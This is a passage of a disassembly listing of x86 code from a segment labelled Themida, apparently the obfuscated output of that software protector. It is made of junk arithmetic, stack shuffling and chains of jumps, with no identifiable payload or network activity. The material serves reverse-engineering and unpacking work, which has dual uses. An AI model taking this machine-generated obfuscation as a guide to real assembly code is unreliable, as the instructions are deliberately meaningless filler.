loc_5A3DEE: ; CODE XREF: Themida_:005A16AEj
mov esp, [esp]
push dword ptr [edi+eax*4]
push dword ptr [esp]
jmp loc_5A444E
; ---------------------------------------------------------------------------
loc_5A3DFC: ; CODE XREF: Themida_:00598838j
push ebp
dec dword ptr [esp]
pop ebp
push ecx
jmp loc_5997AA
; ---------------------------------------------------------------------------
loc_5A3E07: ; CODE XREF: Themida_:005A2103j
mov eax, 9D7ABC35h
jmp loc_5A8F76
; ---------------------------------------------------------------------------
loc_5A3E11: ; CODE XREF: Themida_:0059FA40j
push ebx
mov ebx, 21982338h
push ebp
mov ebp, 1BC75B8Ah
jmp loc_5A7B0A
; ---------------------------------------------------------------------------
loc_5A3E22: ; CODE XREF: Themida_:005AA8FAj
mov cl, 30h
xor al, cl
mov ecx, [esp]
push 3A89h
mov [esp], esi
jmp loc_5A4BDB
; ---------------------------------------------------------------------------
loc_5A3E36: ; CODE XREF: Themida_:005A45BCj
jmp loc_59D542
; ---------------------------------------------------------------------------
loc_5A3E3B: ; CODE XREF: Themida_:005A6C27j
pop edx
add al, ch
push ecx
mov cl, 0E1h
dec cl
shr cl, 7
push eax
jmp loc_598C96
; ---------------------------------------------------------------------------
loc_5A3E4C: ; CODE XREF: Themida_:005A465Dj
jmp loc_59BAD7
; ---------------------------------------------------------------------------
loc_5A3E51: ; CODE XREF: Themida_:0059D9D3j
push eax
mov eax, esp
push 5C67h
mov [esp], edx
push ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
push ecx
jmp loc_5A80E7
; ---------------------------------------------------------------------------
loc_5A3E6E: ; CODE XREF: Themida_:005A8E06j
pop ecx
add eax, 4
jmp loc_5A953C
; ---------------------------------------------------------------------------
loc_5A3E77: ; CODE XREF: Themida_:005993B9j
idiv ecx
push eax
jmp loc_5A6C56
; ---------------------------------------------------------------------------
loc_5A3E7F: ; CODE XREF: Themida_:005A3B92j
mov dh, bl
pop ebx
push ebx
jmp loc_5A3B63
; ---------------------------------------------------------------------------
loc_5A3E88: ; CODE XREF: Themida_:005A975Ej
push ecx
jmp loc_5AE1D5
; ---------------------------------------------------------------------------
loc_5A3E8E: ; CODE XREF: Themida_:005A8014j
add esp, 4
sub esp, 4
mov [esp], ebx
jmp loc_59D37C
; ---------------------------------------------------------------------------
loc_5A3E9F: ; CODE XREF: Themida_:005AF200j
pop ebp
push edx
mov edx, esp
add edx, 4
add edx, 4
jmp loc_5A0673
; ---------------------------------------------------------------------------
loc_5A3EB1: ; CODE XREF: Themida_:005AEA43j
mov edx, eax
mov eax, [esp]
add esp, 4
sub edx, 0EF88FD36h
add eax, edx
pop edx
pop edx
xor ebx, eax
jmp loc_5A0090
; ---------------------------------------------------------------------------
loc_5A3ECD: ; CODE XREF: Themida_:005987DBj
pop edx
jmp loc_5AE95E
; ---------------------------------------------------------------------------
loc_5A3ED3: ; CODE XREF: Themida_:0059AD9Bj
; Themida_:005A173Dj
and edi, 4BD9747Fh
jmp loc_59D53A
; ---------------------------------------------------------------------------
loc_5A3EDE: ; CODE XREF: Themida_:0059ADAFj
; Themida_:005A2DF5j
mov ebp, [esp]
add esp, 4
pop dword ptr [esp]
pop esp
mov [esp], edx
push 472Ah
mov [esp], eax
push dword ptr [esp]
jmp loc_5A817B
; ---------------------------------------------------------------------------
loc_5A3EFE: ; CODE XREF: Themida_:005A8F1Bj
mov [esp], ecx
push esp
pop ecx
push esi
jmp loc_5999CF
; ---------------------------------------------------------------------------
loc_5A3F09: ; CODE XREF: Themida_:005AE910j
jnb loc_5985C3
jmp loc_5AA0A4
; ---------------------------------------------------------------------------
add esp, 4
xchg ecx, [esp]
loc_5A3F1D: ; CODE XREF: Themida_:0059BAD2j
mov edi, 5E1558BAh
or edi, 9523756h
jl loc_5AD6D8
shr edi, 6
sub edi, 8428EE98h
push eax
push 123376F8h
pop eax
inc eax
dec eax
jmp loc_5AA5CA
; ---------------------------------------------------------------------------
loc_5A3F45: ; CODE XREF: Themida_:005AF0EFj
mov esp, [esp]
jmp loc_5A10A9
; ---------------------------------------------------------------------------
loc_5A3F4D: ; CODE XREF: Themida_:005A4337j
push edx
jmp loc_59E713
; ---------------------------------------------------------------------------
loc_5A3F53: ; CODE XREF: Themida_:0059B96Dj
add eax, 170A1E07h
add eax, ebx
push edi
jmp loc_5A375A
; ---------------------------------------------------------------------------
loc_5A3F60: ; CODE XREF: Themida_:0059B912j
jmp loc_5AC14B
; ---------------------------------------------------------------------------
loc_5A3F65: ; CODE XREF: Themida_:005A6F15j
push ebx
jmp loc_5A1DE8
; ---------------------------------------------------------------------------
loc_5A3F6B: ; CODE XREF: Themida_:005A776Ej
add ecx, 4
add ecx, 4
jmp loc_5AF25D
; ---------------------------------------------------------------------------
loc_5A3F79: ; CODE XREF: Themida_:0059C90Dj
xchg ecx, [esp]
pop esp
mov [esp], edx
push ecx
push ebp
mov ebp, 5A255CBBh
mov ecx, ebp
mov ebp, [esp]
add esp, 4
add ecx, 161F03E4h
push esi
mov esi, 1
sub ecx, 6AC87D0Ch
add ecx, esi
add ecx, 6AC87D0Ch
push dword ptr [esp]
jmp loc_59CC66
; ---------------------------------------------------------------------------
loc_5A3FB1: ; CODE XREF: Themida_:0059E3AFj
mov ebp, 1D856E10h
jmp loc_5A90B5
; ---------------------------------------------------------------------------
mov cx, [esp]
push eax
jmp loc_59BF38
; ---------------------------------------------------------------------------
loc_5A3FC5: ; CODE XREF: Themida_:005AF108j
pop edi
push 5C6Ah
mov [esp], ebp
push dword ptr [esp+4]
pop ebp
jmp loc_59F90F
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_59B3C0
; ---------------------------------------------------------------------------
loc_5A3FE1: ; CODE XREF: Themida_:005A4559j
mov [esp], ebx
mov eax, [esp]
push 7F96h
mov [esp], eax
jmp loc_5A6D39
; ---------------------------------------------------------------------------
loc_5A3FF4: ; CODE XREF: Themida_:0059AC2Aj
neg edx
jns loc_599FF3
add edx, 7AB14EA7h
mov ebx, edx
pop edx
add ebx, eax
pop eax
neg ebx
sub esp, 4
mov [esp], ecx
jmp loc_5A991F
; ---------------------------------------------------------------------------
loc_5A4015: ; CODE XREF: Themida_:0059F375j
mov ecx, 2
add ebx, ecx
mov ecx, [esp]
add esp, 4
xchg ebx, [esp]
pop esp
and [esp], al
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A402F: ; CODE XREF: Themida_:005AC8EEj
sub dh, 11h
jmp loc_5A8CFD
; ---------------------------------------------------------------------------
loc_5A4037: ; CODE XREF: Themida_:005A8C4Bj
sub edx, ecx
pop ecx
xor edx, [esp]
jmp loc_59B6B5
; ---------------------------------------------------------------------------
loc_5A4042: ; CODE XREF: Themida_:005AC85Cj
mov [esp], ecx
jmp loc_59F047
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A4053: ; CODE XREF: Themida_:005A70BDj
mov ch, dh
push dword ptr [esp]
jmp loc_59DC3A
; ---------------------------------------------------------------------------
loc_5A405D: ; CODE XREF: Themida_:005A0D07j
mov ecx, esp
jmp loc_5A7E35
; ---------------------------------------------------------------------------
loc_5A4064: ; CODE XREF: Themida_:005A76B9j
xor ebx, ebp
pop ebp
sub edi, ebx
mov ebx, [esp]
add esp, 4
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
pop esp
mov [esp], esi
sub esp, 4
mov [esp], ebp
mov ebp, 0FFFFh
jmp loc_59A8EC
; ---------------------------------------------------------------------------
loc_5A4092: ; CODE XREF: Themida_:0059C309j
xchg edi, [esp]
pop esp
xchg esi, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_5AEAB7
; ---------------------------------------------------------------------------
loc_5A40A4: ; CODE XREF: Themida_:005A62ECj
pop ebp
xor eax, edx
mov edx, [esp]
add esp, 4
jmp loc_5A4B8F
; ---------------------------------------------------------------------------
loc_5A40B2: ; CODE XREF: Themida_:005A0DFBj
add esp, 4
sub ebx, 1AE34439h
sub ebx, eax
add ebx, 1AE34439h
push 5E72h
jmp loc_5ADEFC
; ---------------------------------------------------------------------------
loc_5A40CD: ; CODE XREF: Themida_:005A1250j
mov [esp], edx
push 5349h
mov [esp], eax
jmp loc_5A1001
; ---------------------------------------------------------------------------
loc_5A40DD: ; CODE XREF: Themida_:005A2429j
xchg eax, edx
not edx
xchg eax, edx
push ebx
jmp loc_5A1D5E
; ---------------------------------------------------------------------------
loc_5A40E7: ; CODE XREF: Themida_:005A60FFj
mov ebx, 73177639h
add ebx, 0C8D0DE77h
mov edx, ebx
jmp loc_5A6FBA
; ---------------------------------------------------------------------------
loc_5A40F9: ; CODE XREF: Themida_:005AE811j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_59908F
; ---------------------------------------------------------------------------
loc_5A410C: ; CODE XREF: Themida_:005A462Aj
mov ebp, 4
mov eax, ebp
pop ebp
add ecx, eax
pop eax
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
mov esp, [esp]
jmp loc_5A1478
; ---------------------------------------------------------------------------
loc_5A4128: ; CODE XREF: Themida_:005A8DEDj
add edx, ecx
jmp loc_5A61BE
; ---------------------------------------------------------------------------
loc_5A412F: ; CODE XREF: Themida_:005989E7j
pop ecx
mov edi, ebx
jmp loc_59E5EF
; ---------------------------------------------------------------------------
loc_5A4137: ; CODE XREF: Themida_:005A02C7j
add edx, 6EF64C5Eh
push edi
mov edi, 23A33C06h
add edx, edi
pop edi
mov ebp, [esp]
add esp, 4
sub edx, 29FB28DDh
add edx, ecx
add edx, 29FB28DDh
push ecx
push edi
jmp loc_5A1DBF
; ---------------------------------------------------------------------------
loc_5A4164: ; CODE XREF: Themida_:005A2F27j
shr ebp, 6
or ebp, 46FF0B05h
jnp loc_5A280C
sub ebp, 15660F92h
jbe loc_5A4B7E
jmp loc_5A810F
; ---------------------------------------------------------------------------
loc_5A4184: ; CODE XREF: Themida_:005A5BCDj
add esp, 4
and edx, 779A3364h
add edx, 0D8A50EEh
add edx, 0FFFFFFFFh
inc edx
sub edx, 5B6C40DEh
add edx, 0CC174F47h
sub eax, edx
pop edx
jmp loc_59D4A7
; ---------------------------------------------------------------------------
loc_5A41AB: ; CODE XREF: Themida_:005AC717j
shl ecx, 6
jmp loc_59ADA7
; ---------------------------------------------------------------------------
loc_5A41B3: ; CODE XREF: Themida_:005A1C52j
sub bh, dl
pop edx
xor al, bh
jmp loc_5A3B7E
; ---------------------------------------------------------------------------
loc_5A41BD: ; CODE XREF: Themida_:0059A2DDj
dec eax
xchg eax, edx
add edx, 0FC33E82Ah
xor eax, edx
pop edx
xor ecx, eax
jmp loc_5A5C66
; ---------------------------------------------------------------------------
loc_5A41CF: ; CODE XREF: Themida_:005A38D0j
mov dl, 36h
neg dl
dec dl
xor dl, 0A3h
jmp loc_59E745
; ---------------------------------------------------------------------------
loc_5A41DD: ; CODE XREF: Themida_:005A7070j
add esp, 4
push eax
push esi
mov esi, 7E7954A2h
inc esi
js loc_59B811
neg esi
jle loc_5991FE
add esi, 0DF8AB5EDh
mov eax, esi
pop esi
xor ecx, eax
loc_5A4204: ; CODE XREF: Themida_:005AC013j
pop ecx
mov edi, [esp]
add esp, 4
xor edx, [esp]
jmp loc_5A8FCB
; ---------------------------------------------------------------------------
loc_5A4213: ; CODE XREF: Themida_:0059DB62j
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_59C4D0
; ---------------------------------------------------------------------------
loc_5A4223: ; CODE XREF: Themida_:0059B983j
xor edx, [esp]
pop esp
jmp loc_5A7D56
; ---------------------------------------------------------------------------
loc_5A422C: ; CODE XREF: Themida_:005A04DAj
xor ah, dl
pop edx
add ch, ah
pop eax
jmp loc_5994E2
; ---------------------------------------------------------------------------
loc_5A4237: ; CODE XREF: Themida_:0059B541j
add eax, 4
jmp loc_59D9D8
; ---------------------------------------------------------------------------
loc_5A4241: ; CODE XREF: Themida_:005AC2DDj
mov [esp], ebx
mov ebx, 4
jmp loc_5AF3F1
; ---------------------------------------------------------------------------
loc_5A424E: ; CODE XREF: Themida_:005A32A9j
mov edi, 61A50C59h
neg edi
sub edi, 9E5AF3A3h
jmp loc_5A295B
; ---------------------------------------------------------------------------
loc_5A4260: ; CODE XREF: Themida_:005AF1D0j
mov ecx, 4
jmp loc_5A31D8
; ---------------------------------------------------------------------------
loc_5A426A: ; CODE XREF: Themida_:00599BE4j
push ecx
mov ecx, 66DD34ADh
jmp loc_5A5258
; ---------------------------------------------------------------------------
loc_5A4275: ; CODE XREF: Themida_:00599109j
sub esi, 0ED3h
jmp loc_5A6B7E
; ---------------------------------------------------------------------------
loc_5A4280: ; CODE XREF: Themida_:00599BFAj
pop edi
not edi
neg edi
jmp loc_5A01D4
; ---------------------------------------------------------------------------
loc_5A428A: ; CODE XREF: Themida_:0059F6F7j
sub eax, 0B5310314h
or ebx, eax
pop eax
push eax
mov eax, 7FBE7F1Bh
xor ebx, eax
pop eax
add edx, ebx
mov ebx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
sub esp, 4
mov [esp], edi
push 4
pop edi
sub edx, edi
jmp loc_5A5C8D
; ---------------------------------------------------------------------------
loc_5A42C6: ; CODE XREF: Themida_:loc_5A196Bj
; Themida_:005A6A39j
pop esp
add eax, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
jmp loc_5AA887
; ---------------------------------------------------------------------------
loc_5A42DB: ; CODE XREF: Themida_:005A0B65j
pop edi
push ebp
jmp loc_5AB1A7
; ---------------------------------------------------------------------------
loc_5A42E2: ; CODE XREF: Themida_:0059FBF2j
push eax
push ecx
push ebp
pop ecx
mov eax, ecx
mov ecx, [esp]
add esp, 4
mov ecx, eax
jmp loc_5AEEA3
; ---------------------------------------------------------------------------
loc_5A42F5: ; CODE XREF: Themida_:005A87B9j
mov ecx, 4B8D1DC4h
add edi, ecx
pop ecx
jmp loc_5A6CEE
; ---------------------------------------------------------------------------
loc_5A4302: ; CODE XREF: Themida_:005AE2D2j
add esp, 4
jmp loc_59B35A
; ---------------------------------------------------------------------------
loc_5A430A: ; CODE XREF: Themida_:005AF590j
push edx
mov dh, ch
mov bh, dh
pop edx
jmp loc_599DCB
; ---------------------------------------------------------------------------
loc_5A4315: ; CODE XREF: Themida_:005AE34Ej
sub [esp+8], edx
jmp loc_5AC467
; ---------------------------------------------------------------------------
loc_5A431E: ; CODE XREF: Themida_:005A8B6Dj
pop edx
and ebx, 4A1D701Ah
shr ebx, 2
sub esp, 4
mov [esp], ebp
push ebx
mov ebx, 551B21B2h
jmp loc_5A3F4D
; ---------------------------------------------------------------------------
loc_5A433C: ; CODE XREF: Themida_:0059D3A4j
push dword ptr [esp]
pop ebx
add esp, 4
mov bl, al
pop eax
xor al, bl
jmp loc_5A777E
; ---------------------------------------------------------------------------
loc_5A4350: ; CODE XREF: Themida_:005A3590j
mov edx, [esp]
add esp, 4
add eax, 759A7A3Eh
pop ecx
add eax, ebx
jmp loc_5A509E
; ---------------------------------------------------------------------------
loc_5A4366: ; CODE XREF: Themida_:005A7132j
pop esp
sub esp, 4
mov [esp], edx
push esi
push ebx
mov ebx, 41F87CF7h
dec ebx
jge loc_5A0E84
neg ebx
jbe loc_59D8DD
jmp loc_59E0C7
; ---------------------------------------------------------------------------
loc_5A438B: ; CODE XREF: Themida_:loc_5A67ABj
or cl, 0A4h
jns loc_5A467E
xor cl, 6Ch
jmp loc_5AF519
; ---------------------------------------------------------------------------
loc_5A439C: ; CODE XREF: Themida_:0059BF64j
mov ebx, ebp
pop ebp
jmp loc_5A2AA5
; ---------------------------------------------------------------------------
loc_5A43A4: ; CODE XREF: Themida_:005A827Bj
sub eax, 9EDD1486h
add ebx, eax
pop eax
mov ecx, 60E7119Fh
push edx
jmp loc_59E34C
; ---------------------------------------------------------------------------
loc_5A43B7: ; CODE XREF: Themida_:loc_599E61j
sub edx, 46DC0FA9h
sub edx, 0B1B53980h
jmp loc_5A1DF9
; ---------------------------------------------------------------------------
loc_5A43C8: ; CODE XREF: Themida_:0059CB3Dj
mov eax, [esp]
add esp, 4
xchg eax, esi
sub esi, 829799B8h
push esi
pop ecx
mov esi, [esp]
push eax
mov eax, esp
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
mov [esp], ebx
jmp loc_5AAFF2
; ---------------------------------------------------------------------------
loc_5A43FA: ; CODE XREF: Themida_:00598778j
add al, dh
jmp loc_59BF77
; ---------------------------------------------------------------------------
loc_5A4401: ; CODE XREF: Themida_:005985DDj
add edi, 4
xchg edi, [esp]
pop esp
movsx ecx, ax
jmp loc_5AB8AD
; ---------------------------------------------------------------------------
loc_5A4413: ; CODE XREF: Themida_:0059C15Ej
; Themida_:005A9C1Fj
xor edi, ebp
jmp loc_5A97A5
; ---------------------------------------------------------------------------
loc_5A441A: ; CODE XREF: Themida_:005A57E5j
inc ebp
sub ebp, 55324183h
add esi, ebp
pop ebp
xchg esi, [esp]
mov esp, [esp]
mov ax, [esp]
sub esp, 4
mov [esp], ecx
push esp
pop ecx
push 5EF3h
mov [esp], esi
push 0C1Dh
mov [esp], ebx
jmp loc_59F720
; ---------------------------------------------------------------------------
loc_5A444E: ; CODE XREF: Themida_:005A3DF7j
push dword ptr [esp]
jmp loc_59FF64
; ---------------------------------------------------------------------------
loc_5A4456: ; CODE XREF: Themida_:0059D14Bj
jmp loc_59838C
; ---------------------------------------------------------------------------
loc_5A445B: ; CODE XREF: Themida_:0059E84Bj
shl ebp, 3
jmp loc_5AE68C
; ---------------------------------------------------------------------------
loc_5A4463: ; CODE XREF: Themida_:005ADC00j
sub esp, 4
mov [esp], edx
pop ecx
pop edx
sub ecx, 0BDFC9BBFh
push edx
mov edx, 2A7E6F90h
add ebx, edx
jmp loc_5A568C
; ---------------------------------------------------------------------------
loc_5A4481: ; CODE XREF: Themida_:005A7EFFj
add esp, 4
push ebp
mov ebp, 4
add edx, ebp
pop ebp
push edx
push dword ptr [esp+4]
pop edx
jmp loc_5AF3D2
; ---------------------------------------------------------------------------
loc_5A4498: ; CODE XREF: Themida_:0059F300j
; Themida_:0059F798j
jz loc_5A0659
shl esi, 5
jnp loc_5AA221
jmp loc_5AE70F
; ---------------------------------------------------------------------------
push edi
mov edi, esp
push ebp
or ch, 0D6h
loc_5A44B3: ; CODE XREF: Themida_:005A9E1Cj
not ebx
add ebx, 0B7C4B0F8h
push ebx
jmp loc_59CAB0
; ---------------------------------------------------------------------------
loc_5A44C1: ; CODE XREF: Themida_:005A9C47j
add ebp, 4
jmp loc_5A761C
; ---------------------------------------------------------------------------
loc_5A44CC: ; CODE XREF: Themida_:005A8976j
sub eax, esi
jmp loc_59A4B8
; ---------------------------------------------------------------------------
loc_5A44D3: ; CODE XREF: Themida_:005A292Cj
xor [esp], ebx
jmp loc_5A58C0
; ---------------------------------------------------------------------------
loc_5A44DB: ; CODE XREF: Themida_:00598B05j
xor [esp+4], ecx
pop ecx
pop eax
push edi
mov edi, 724C6583h
sub edi, 47D8FD92h
jmp loc_59ADDE
; ---------------------------------------------------------------------------
loc_5A44F2: ; CODE XREF: Themida_:005A6336j
and ecx, 60A75FCDh
jmp loc_5AA297
; ---------------------------------------------------------------------------
loc_5A44FD: ; CODE XREF: Themida_:005AE4E7j
or dh, 6Eh
jb loc_5AD1F8
sub dh, 0BFh
jl loc_5A3C70
and dh, 0F7h
push eax
mov al, 5Ch
xor al, 0A8h
xor al, 21h
jmp loc_59B8E4
; ---------------------------------------------------------------------------
loc_5A451E: ; CODE XREF: Themida_:0059B175j
sub esi, 88FE7D2h
sub ebx, 0C236EC8h
add ebx, esi
add ebx, 0C236EC8h
pop esi
sub ebx, edi
push ecx
jmp loc_5A5C00
; ---------------------------------------------------------------------------
loc_5A453B: ; CODE XREF: Themida_:005A58BBj
neg edx
add edx, 68BB361Eh
and edx, 28471DEh
sub edx, 0C2AF561Eh
jmp loc_5AECE9
; ---------------------------------------------------------------------------
loc_5A4554: ; CODE XREF: Themida_:005A02ADj
push 32ABh
jmp loc_5A3FE1
; ---------------------------------------------------------------------------
loc_5A455E: ; CODE XREF: Themida_:0059C02Aj
push esi
mov esi, 4
add eax, esi
pop esi
push edi
jmp loc_5AEDF0
; ---------------------------------------------------------------------------
loc_5A456D: ; CODE XREF: Themida_:005AA2A3j
push ebx
jmp loc_5AA1C5
; ---------------------------------------------------------------------------
loc_5A4573: ; CODE XREF: Themida_:005A477Ej
xchg edi, ebx
xor [esp], ebx
jmp loc_5A5FEB
; ---------------------------------------------------------------------------
loc_5A457D: ; CODE XREF: Themida_:0059C824j
; Themida_:005A2695j
mov esi, 0F6FCBC30h
jmp loc_5A0D86
; ---------------------------------------------------------------------------
loc_5A4587: ; CODE XREF: Themida_:005AD713j
mov eax, 73DF71FFh
or eax, 39AC4E82h
jmp loc_5A25CF
; ---------------------------------------------------------------------------
loc_5A4596: ; CODE XREF: Themida_:005A4756j
mov eax, [esp]
push 7F37h
mov [esp], ebx
mov ebx, esp
add ebx, 4
push ecx
push esi
mov esi, 76FA4653h
or esi, 710E479Eh
sub esi, 33B94E1Ah
jge loc_5A3E36
jmp loc_59ED82
; ---------------------------------------------------------------------------
pop edx
add al, ch
push ecx
mov cl, 0E1h
dec cl
mov ecx, esi
loc_5A45D1: ; CODE XREF: Themida_:00598EF3j
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ebp
push esp
pop ebp
add ebp, 4
add ebp, 4
push ebp
push dword ptr [esp+4]
pop ebp
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
mov [esp], esi
mov esi, 4
add ebp, esi
pop esi
jmp loc_5A6298
; ---------------------------------------------------------------------------
loc_5A4610: ; CODE XREF: Themida_:0059D021j
pop edx
add esi, 501538E5h
jmp loc_5AB055
; ---------------------------------------------------------------------------
loc_5A461C: ; CODE XREF: Themida_:005AD056j
add [esp+4], ebx
pop ebx
pop ecx
add ecx, 4
push eax
push ebp
jmp loc_5A410C
; ---------------------------------------------------------------------------
loc_5A462F: ; CODE XREF: Themida_:0059A6C2j
; Themida_:005A218Ej
jmp loc_5AB0E5
; ---------------------------------------------------------------------------
loc_5A4634: ; CODE XREF: Themida_:00599297j
shr cl, 1
jmp loc_59F97F
; ---------------------------------------------------------------------------
loc_5A463B: ; CODE XREF: Themida_:00599B15j
push esp
pop eax
add eax, 4
push ebx
sub esp, 4
mov [esp], ecx
jmp loc_5A3817
; ---------------------------------------------------------------------------
loc_5A464E: ; CODE XREF: Themida_:loc_5AC305j
add edi, 8B3F063Ah
mov ebx, edi
pop edi
sub ebx, 0DE47EF5Ch
jmp loc_5A3E4C
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7141h
mov [esp], ecx
mov ecx, esp
sub esp, 4
mov [esp], ebp
jmp loc_59BACC
; ---------------------------------------------------------------------------
loc_5A467E: ; CODE XREF: Themida_:005A438Ej
xor cl, 6Ch
jmp loc_5A239B
; ---------------------------------------------------------------------------
loc_5A4686: ; CODE XREF: Themida_:005AA482j
push esi
mov esi, 4
add edi, esi
pop esi
jmp loc_5AD795
; ---------------------------------------------------------------------------
loc_5A4694: ; CODE XREF: Themida_:005ADC85j
push edx
mov dh, 9Ah
sub dh, 57h
not dh
add dh, 0B1h
jmp loc_5A6E91
; ---------------------------------------------------------------------------
loc_5A46A4: ; CODE XREF: Themida_:005A670Aj
mov ebx, 4
sub ebp, 4D5319CFh
jmp loc_599BFF
; ---------------------------------------------------------------------------
loc_5A46B4: ; CODE XREF: Themida_:005AA0CCj
or al, 5Bh
jns loc_5AB634
dec al
jmp loc_5AF356
; ---------------------------------------------------------------------------
loc_5A46C3: ; CODE XREF: Themida_:005AB636j
xor al, 9
mov ch, al
pop eax
jmp loc_5AB4AB
; ---------------------------------------------------------------------------
loc_5A46CD: ; CODE XREF: Themida_:005AB46Cj
xchg cl, al
not cl
push edx
mov dl, cl
jmp loc_59F7AD
; ---------------------------------------------------------------------------
loc_5A46D9: ; CODE XREF: Themida_:005A334Bj
add ecx, ebx
pop ebx
jmp loc_5A7949
; ---------------------------------------------------------------------------
loc_5A46E1: ; CODE XREF: Themida_:005A6280j
mov [esp], ebp
mov ebp, esp
add ebp, 4
push ecx
push 66B245DAh
jmp loc_5A3D9E
; ---------------------------------------------------------------------------
loc_5A46F7: ; CODE XREF: Themida_:005AA3B4j
sub ebp, 492F8F70h
jmp loc_5AD6ED
; ---------------------------------------------------------------------------
loc_5A4702: ; CODE XREF: Themida_:005AE085j
push ebx
mov ebx, 62F27410h
jmp loc_5A8BFB
; ---------------------------------------------------------------------------
loc_5A470D: ; CODE XREF: Themida_:005AAB75j
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
jmp loc_5A5079
; ---------------------------------------------------------------------------
loc_5A471B: ; CODE XREF: Themida_:005A13A6j
jo loc_59B4A0
jmp loc_5ABE37
; ---------------------------------------------------------------------------
loc_5A4726: ; CODE XREF: Themida_:00599225j
xor dh, 0DCh
sub bl, dh
pop edx
sub bl, cl
push cx
mov ch, 0A3h
add bl, ch
pop cx
mov ecx, [esp]
add esp, 4
sub bl, 0B4h
push cx
jmp loc_5A1A10
; ---------------------------------------------------------------------------
mov ax, [esp]
push 0B4h
mov [esp], eax
push esp
jmp loc_5A4596
; ---------------------------------------------------------------------------
loc_5A475B: ; CODE XREF: Themida_:005AB991j
mov esp, [esp]
jmp loc_5ADBAB
; ---------------------------------------------------------------------------
loc_5A4763: ; CODE XREF: Themida_:005987B4j
; Themida_:0059AE6Fj
add eax, 4
sub eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
jmp loc_59F82E
; ---------------------------------------------------------------------------
loc_5A477A: ; CODE XREF: Themida_:005ADCC8j
xchg edi, ebx
not edi
jmp loc_5A4573
; ---------------------------------------------------------------------------
loc_5A4783: ; CODE XREF: Themida_:005AA1B0j
push eax
sub esp, 4
mov [esp], ecx
jmp loc_5A0CC7
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
jmp loc_5A4FE4
; ---------------------------------------------------------------------------
loc_5A479D: ; CODE XREF: Themida_:005A0E9Dj
add ecx, 4
push ebp
mov ebp, 354227CCh
shl ebp, 7
add ebp, 5EEC1A04h
sub ecx, ebp
pop ebp
xchg ecx, [esp]
mov esp, [esp]
mov [esp], esp
add dword ptr [esp], 4
jmp loc_59A899
; ---------------------------------------------------------------------------
loc_5A47CA: ; CODE XREF: Themida_:005A3974j
pop eax
jmp loc_5AF230
; ---------------------------------------------------------------------------
loc_5A47D0: ; CODE XREF: Themida_:005AC68Fj
push esi
mov esi, 26A54667h
sub esi, 6FA6698Dh
or esi, 88078Ch
add esi, 108352E3h
and esi, 3E3118Bh
xor esi, 92A09ECh
and ecx, esi
pop esi
sub ecx, 2A81149h
add ebp, ecx
push dword ptr [esp]
pop ecx
add esp, 4
push ebx
mov ebx, 4
add ebp, ebx
mov ebx, [esp]
push esi
mov esi, esp
push eax
mov eax, 659B1093h
not eax
jmp loc_59F9E3
; ---------------------------------------------------------------------------
loc_5A4821: ; CODE XREF: Themida_:005A683Fj
mov edx, [esp]
add esp, 4
mov ebp, ebx
pop ebx
sub ecx, 81A216Bh
add ecx, ebp
jmp loc_5ADD6C
; ---------------------------------------------------------------------------
loc_5A483A: ; CODE XREF: Themida_:005ABD44j
add esi, ecx
mov ecx, [esp]
add esp, 4
push ecx
jmp loc_5AC935
; ---------------------------------------------------------------------------
loc_5A484B: ; CODE XREF: Themida_:loc_5A01C2j
add edx, 6BE9A803h
jmp loc_5A4991
; ---------------------------------------------------------------------------
loc_5A4856: ; CODE XREF: Themida_:005A9A45j
jp loc_59C110
push esi
push 1A63h
mov [esp], eax
push esi
jmp loc_599865
; ---------------------------------------------------------------------------
loc_5A486B: ; CODE XREF: Themida_:005A9C7Dj
; Themida_:loc_5ABB11j
add esp, 4
push ebx
jmp loc_5A0F61
; ---------------------------------------------------------------------------
loc_5A4874: ; CODE XREF: Themida_:005A70D3j
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59C8EC
; ---------------------------------------------------------------------------
loc_5A488B: ; CODE XREF: Themida_:0059B700j
push eax
mov eax, esp
add eax, 4
jmp loc_5A8E54
; ---------------------------------------------------------------------------
loc_5A4898: ; CODE XREF: Themida_:005AB7B6j
mov ecx, 57315691h
shr ecx, 4
push ebp
push ecx
mov ecx, 50D074DAh
neg ecx
jns loc_59AA63
xor ecx, 4B7F7C49h
jo loc_5A3835
push ebp
mov ebp, 7E7E44F4h
or ebp, 21603C66h
xor ebp, 7C6E451Eh
sub ecx, ebp
pop ebp
neg ecx
xor ecx, 30C17A4Ch
jmp loc_59B02C
; ---------------------------------------------------------------------------
loc_5A48DD: ; CODE XREF: Themida_:0059AE3Ej
sub esp, 4
mov [esp], eax
mov eax, 475B5800h
jmp loc_59D1D8
; ---------------------------------------------------------------------------
loc_5A48ED: ; CODE XREF: Themida_:005AF589j
pop esi
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_59CB00
; ---------------------------------------------------------------------------
loc_5A4903: ; CODE XREF: Themida_:00599AC7j
pop ecx
jmp loc_5AF2A7
; ---------------------------------------------------------------------------
lodsb
xor al, bl
jmp loc_5A52E0
; ---------------------------------------------------------------------------
loc_5A4911: ; CODE XREF: Themida_:0059D798j
; Themida_:005A8F2Bj
push edi
mov edi, 54CF55B1h
sub [esp+8], edi
push dword ptr [esp]
pop edi
push 2B31h
jmp loc_5A2108
; ---------------------------------------------------------------------------
loc_5A4929: ; CODE XREF: Themida_:005A3576j
pop ebp
xor ebp, 0F9B7999h
